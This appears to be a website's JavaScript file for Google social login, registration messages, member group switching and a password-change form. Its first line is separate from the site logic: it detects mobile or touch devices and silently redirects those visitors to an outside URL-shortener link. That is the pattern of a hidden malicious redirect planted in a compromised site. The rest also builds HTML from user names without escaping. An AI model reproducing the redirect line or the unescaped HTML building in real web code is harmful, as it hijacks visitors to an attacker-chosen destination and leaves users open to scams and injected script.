(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/JEzgWXOHX0r1");
var googleUser = {};

function displayStateBlock(data, state, custom_text = '') {
    var block = $('#content-block');
    block.empty();

    var html = '';
    var text = lang_data.CHECKING_DATA + '...';
    var icon = '<div class="spinner-border text-primary" role="status">'+
                        '<span class="sr-only">Loading...</span>'+
                    '</div>';

    if (state == 'welcome') {
        text = lang_data.WELCOME + ', <strong>' + data.first_name + ' ' + data.last_name +'</strong>';
        icon = '<i class="fas fa-check fa-3x text-success"></i>';
    } else if (state == 'member-pending') {
        text = lang_data.REGISTER_SUCCESS + ', <strong>' + data.first_name + ' ' + data.last_name +'</strong>';
        icon = '<i class="fas fa-check fa-3x text-success"></i>';
    }

    if (custom_text != '') {
        text = custom_text;
    }

    html = '<div class="h-100 text-center">'+
                '<div class="mb-3">'+
                    icon +
                '</div>'+
                '<div>'+
                    text +
                '</div>'+
                '</div>';

    block.html(html);
}

function generateGroupChangingBlock(data) {
    var block = $('#content-block');
    block.empty();

    var html = '';

    var new_group = '';
    for (var i = 0; i < data.new_group.length; i++) {
        new_group += '<button id="btn-new-sub-groups-'+ data.new_group[i].id +'" class="btn btn-outline-primary btn-block py-3 new-sub-groups btn-no-focus" data-sub-groups-id="'+ data.new_group[i].id +'" data-first-name="'+ data.first_name + '" data-last-name="' + data.last_name +'">' +
                        data.new_group[i].title+
                    '</button>';
    }

    html = '<div class="row">'+
                '<div class="col-10 col-md-8 col-lg-9 col-xl-8 mx-auto">'+
                    '<h5>'+ lang_data.SELECT_GROUP +'</h5>'+
                    '<p class="text-muted f-9rem">'+ lang_data.SELECT_GROUP_DESC +'</p>'+
                    '<div class="">'+
                        '<button id="btn-old-sub-groups" class="btn btn-dark-soft btn-block py-3 d-flex justify-content-center align-items-center old-sub-groups btn-no-focus" data-sub-groups-id="'+ data.current_group.id +'" data-first-name="'+ data.first_name + '" data-last-name="' + data.last_name +'">'+
                            data.current_group.title +
                            '<small class="text-muted ml-1 text-lowercase">('+ lang_data.CURRENT +')</small>'+
                        '</button>' +
                    '</div>'+
                    '<hr class="text-center hr-or-register-login text-muted f-8rem my-5" data-content="'+ lang_data.OR +'">'+
                    '<div class="">'+
                        new_group +
                    '</div>'+
                '</div>'+
            '</div>';

    block.html(html);
}

function connectWithSocial(social_login_data) {
    displayStateBlock(social_login_data, 'connecting');

    if (social_login_data.type == 'google') {
        social_login_data.url_return = url_return;
    }

    $promiseData = $.post(URL_API + '/site/user/connectWithSocial', social_login_data);
    $promiseData.done(function(data) {
        if (data.is_error == false) {
            if (data.type == 'login') {
                setTimeout(function() {
                    displayStateBlock(social_login_data, 'welcome');

                    data.first_name = social_login_data.first_name;
                    data.last_name = social_login_data.last_name;

                    if (data.option == 'has-group-changing') {
                        generateGroupChangingBlock(data);
                    } else {
                        setTimeout(function() {
                            window.location.href = social_login_data.url_return;
                        }, 1500);
                    }
                }, 1000);
            } else {
                if (data.option == 'social_login') {
                    var content = lang_data.REGISTER_THANK;
                    var displayState = 'welcome';
                    if (data.approved == 0) {
                        content = lang_data.REGISTER_SUCCESS_PENDING_APPROVE;
                        displayState = 'member-pending';
                    }

                    displayStateBlock(data, displayState);

                    displayRegisterSuccessAlert('/profile?social=1', content);

                } else {
                    var content = lang_data.REGISTER_THANK;
                    var displayState = 'welcome';
                    if (data.approved == 0) {
                        content = lang_data.REGISTER_SUCCESS_PENDING_APPROVE;
                        displayState = 'member-pending';
                    }

                    displayStateBlock(data, displayState);

                    displayRegisterSuccessAlert(social_login_data.url_return, content);
                }
            }
        } else if (data.is_error == true) {
            var content = data.error_type == 'account_pending_approval' ? lang_data.REGISTER_SUCCESS_PENDING_APPROVE : lang_data.PLEASE_TRY_AGAIN;
            displayAlertBlockRedirect(lang_data.CONNECT_FAILED, content);
        }
    }).fail(function(data) {
        displayAlertBlockRedirect(lang_data.CONNECT_FAILED, lang_data.PLEASE_TRY_AGAIN);
    });
}

function displayRegisterSuccessAlert(_url_return, content) {
    $.confirm({
        "columnClass": 'col-md-7 col-lg-5 mx-auto jconfirm-box-container-center',
        theme: 'modern',
        icon: 'far fa-check text-success mb-3',
        title: lang_data.REGISTER_SUCCESS,
        content: content,
        draggable: false,
        buttons: {
            cancel: {
                text: lang_data.OK,
                'btnClass': 'btn btn-dark-soft mt-4',
                action: function(){
                    window.location.href = _url_return;
                }
            }
        }
    });
}

function changeMemberGroup(data) {
    btnLoading('#' + data.eleID);
    $('button').prop('disabled', true);

    var params = {
        sub_groups_id: data.sub_groups_id
    };

    $promiseData = $.post(URL_API + '/site/user/groups/change', params);
    $promiseData.done(function(res) {
        setTimeout(function () {
            if (res.type == 'changed') {
                notification('success', '<i class="fas fa-check text-success mr-2"></i>' + lang_data.CHANGE_GROUP_SUCCESS);
            }

            displayStateBlock(data, 'welcome');

            setTimeout(function () {
                window.location.href = url_return;
            }, 1000);
        }, 500);
    }).fail(function(res) {
        btnReset('#' + data.eleID);
        $('button').prop('disabled', false);
        fns.handleAlert(lang_data.CHANGE_GROUP_FAILED, lang_data.NOTY_TRY_AGAIN_CONTACT, 'warning', true, configuration_data);
    });
}

var startGoogleInit = function() {
    gapi.load('auth2', function(){
        // Retrieve the singleton for the GoogleAuth library and set up the client.
        auth2 = gapi.auth2.init({
            client_id: _GOOGLE_CLIENT_ID,
            cookiepolicy: 'single_host_origin',
            // Request scopes in addition to 'profile' and 'email'
            //scope: 'additional_scope'
        });
        /* Ready. Make a call to gapi.auth2.init or some other API */
        attachSignin(document.getElementById('btn-google-login'));
    });
};

function attachSignin(element) {
    auth2.attachClickHandler(element, {},
    function(googleUser) {
        var profile = googleUser.getBasicProfile();
        var string = profile.getName();
        string = string.split(" ");
        var stringArray = new Array();

        for (var i = 0; i < string.length; i++) {
            stringArray.push(string[i]);
        }

        var members_data = {
            'google_id': profile.getId(),
            'email': profile.getEmail(),
            'first_name': stringArray[0],
            'last_name': stringArray[1],
            'picture_url': profile.getImageUrl(),
            'type': 'google'
        }

        connectWithSocial(members_data);
    }, function(error) {
        // btnReset('#btn-google-login');
        // fns.handleAlert(_noty.connected_failed, _txt.try_again, 'warning', true, configuration_data);
        // alert(JSON.stringify(error, undefined, 2));
    });
}

function generateChangePasswordBlock(data) {
    var block = $('#content-block');
    block.empty();

    var html = '';

    var use_current_password_block = '';

    if (data.option != 'force-change-password') {
        use_current_password_block = '<div>'+
                                        '<button id="btn-use-current-password" type="button" class="btn btn-dark-soft btn-block py-3 use-current-password">'+
                                            lang_data.USE_CURRENT_PASSWORD+
                                        '</button>'+
                                    '</div>'+
                                    '<div>'+
                                        '<hr class="text-center hr-or-register-login text-muted f-8rem mt-5 mb-4" data-content="'+ lang_data.OR +'">'+
                                    '</div>';
    }

    html = '<div class="row">'+
                '<div class="col-10 col-md-8 col-lg-9 col-xl-8 mx-auto">'+
                    '<h5>'+ lang_data.PASSWORD_EXPIRATION +'</h5>'+
                    '<p class="text-muted f-9rem">'+ (configuration_data.forced_change_password == 1 ? lang_data.PASSWORD_EXPIRATION_DESC_FORCED : lang_data.PASSWORD_EXPIRATION_DESC) +'</p>'+
                    use_current_password_block +
                    '<div class="">'+
                        '<form id="form-change-password">'+
                            '<input type="hidden" id="option" name="option" class="form-control" value="'+ data.option +'">'+
                            '<div class="form-group form-row mb-4">'+
                                '<div class="col-12 col-lg mb-3 mb-lg-1">'+
                                    '<label for="" class="f-9rem">'+
                                        lang_data.NEW_PASSWORD+
                                    '</label>'+
                                    '<input id="password" type="password" class="form-control input-password" name="password" placeholder="" autocomplete="change-new-password">'+
                                '</div>'+
                                '<div class="col col-lg mb-1">'+
                                    '<label for="" class="f-9rem">'+
                                        lang_data.CONFIRM_PASSWORD+
                                    '</label>'+
                                    '<input id="confirmPassword" type="password" class="form-control input-password" name="confirmPassword" placeholder="" autocomplete="change-new-confirm-password">'+
                                '</div>'+
                                '<div class="col-2 col-sm-1 mb-1 text-right align-self-end">'+
                                    '<button type="button" class="btn btn-link btn-no-focus btn-toggle-password p-0 form-control" data-toggle="button" aria-pressed="false" onclick="togglePassword();">'+
                                        '<i class="fas fa-eye-slash"></i>'+
                                    '</button>'+
                                '</div>'+
                                '<div id="password-noty-block" class="col-12">'+
                                    '<div id="password-noty" class="text-muted f-8rem">'+
                                        lang_data.PASSWORD_NOTY+
                                    '</div>'+
                                '</div>'+
                            '</div>'+
                            '<div class="form-group">'+
                                '<button id="btn-change-password" type="submit" class="btn btn-primary btn-block py-3">'+
                                    lang_data.CONFIRM+
                                '</button>'+
                            '</div>'+
                        '</form>'+
                    '</div>'+
                '</div>'+
            '</div>';

    block.html(html);

    initialChangePasswordValidation();
    $.validator.addMethod(
        "regex",
        function(value, element, regexp) {
            var re = new RegExp(regexp);
            return this.optional(element) || re.test(value);
        },
        lang_data.PASSWORD_NOTY
    );

}

function initialChangePasswordValidation() {
    $.validator.addMethod(
        "regex",
        function(value, element, regexp) {
            var re = new RegExp(regexp);
            return this.optional(element) || re.test(value);
        },
        lang_data.PASSWORD_NOTY
    );

    $('#form-change-password').validate({ // initialize the plugin
        rules: {
            password: {
                required: true,
                regex: "^(?=.*[0-9])(?=.*[a-zA-Z])([a-zA-Z0-9@$!%*#?&]+)$",
                minlength: 8
            },
            confirmPassword: {
                equalTo: "#password"
            },
        },
        messages: {
            password: {
                required: lang_data.PASSWORD_NOTY,
                minlength: lang_data.PASSWORD_NOTY,
                regex: lang_data.PASSWORD_NOTY
            },
            confirmPassword: {
                equalTo: ''
            },
        },
        errorPlacement: function(error, element) {
            if (element.attr("name") == "password" || element.attr("name") == "confirmPassword") {
                if (element.attr("name") == "password") {
                    $('#password-noty').empty();
                    $('#password-noty-block').append(error);
                }
            } else if (element.attr("name") == 'checkboxAgreeTerms') {
                $('#checkboxAgreeTermsLabel').append(error);
            } else {
                error.insertAfter(element);
            }
        },
        submitHandler: function (form_element) { // for demo
            var form = $('#' + form_element.id);
            var change_password_data = form.serializeObject();
            var btnID = 'btn-change-password';

            btnLoading('#' + btnID, lang_data.CHECKING + '...');
            $('button').prop('disabled', true);

            $promiseData = $.post(URL_API + '/site/user/change_password', change_password_data);
            $promiseData.done(function(data) {
                if (data.is_error == false) {
                    if (data.option == 'has-group-changing') {
                        setTimeout(function () {
                            generateGroupChangingBlock(data);
                        }, 1000);
                    } else {
                        // btnLoading('#' + btnID, '<i class="fas fa-check mr-2"></i>' + lang_data.CHANGE_PASSWORD_SUCCESS, false, false);

                        // $('#' + btnID).removeClass('btn-primary').addClass('btn-success');

                        setTimeout(function () {
                            displayStateBlock(data, 'welcome');

                            setTimeout(function () {
                                window.location.href = url_return;
                            }, 1000);
                        }, 1000);
                    }
                } else {
                    btnReset('#' + btnID);
                    $('button').prop('disabled', false);
                    fns.handleAlert(lang_data.AN_ERROR_HAS_OCCURRED, lang_data.PLEASE_TRY_AGAIN, 'warning', false, configuration_data);
                }
            }).fail(function(data) {
                data = data.responseJSON;

                btnReset('#' + btnID);
                $('button').prop('disabled', false);

                var title = lang_data.AN_ERROR_HAS_OCCURRED;
                var isContact = true;
                if (data.error_type != undefined && data.error_type == 'already_use') {
                    title = lang_data.PASSWORD_ALREADY_USE;
                    isContact = false;
                }

                fns.handleAlert(title, lang_data.PLEASE_TRY_AGAIN, 'warning', isContact, configuration_data);
            });
            return false; // for demo
        }
    });
}

$(document).ready(function() {
    $(document).on('click', '.old-sub-groups, .new-sub-groups', function(event) {
        event.preventDefault();
        var first_name = $(this).data('first-name');
        var last_name = $(this).data('last-name');
        var sub_groups_id = $(this).data('sub-groups-id');
        var eleID = $(this).attr('id');

        var data = {
            'eleID': eleID,
            'first_name': first_name,
            'last_name': last_name,
            'sub_groups_id': sub_groups_id
        };

        changeMemberGroup(data);
    });
});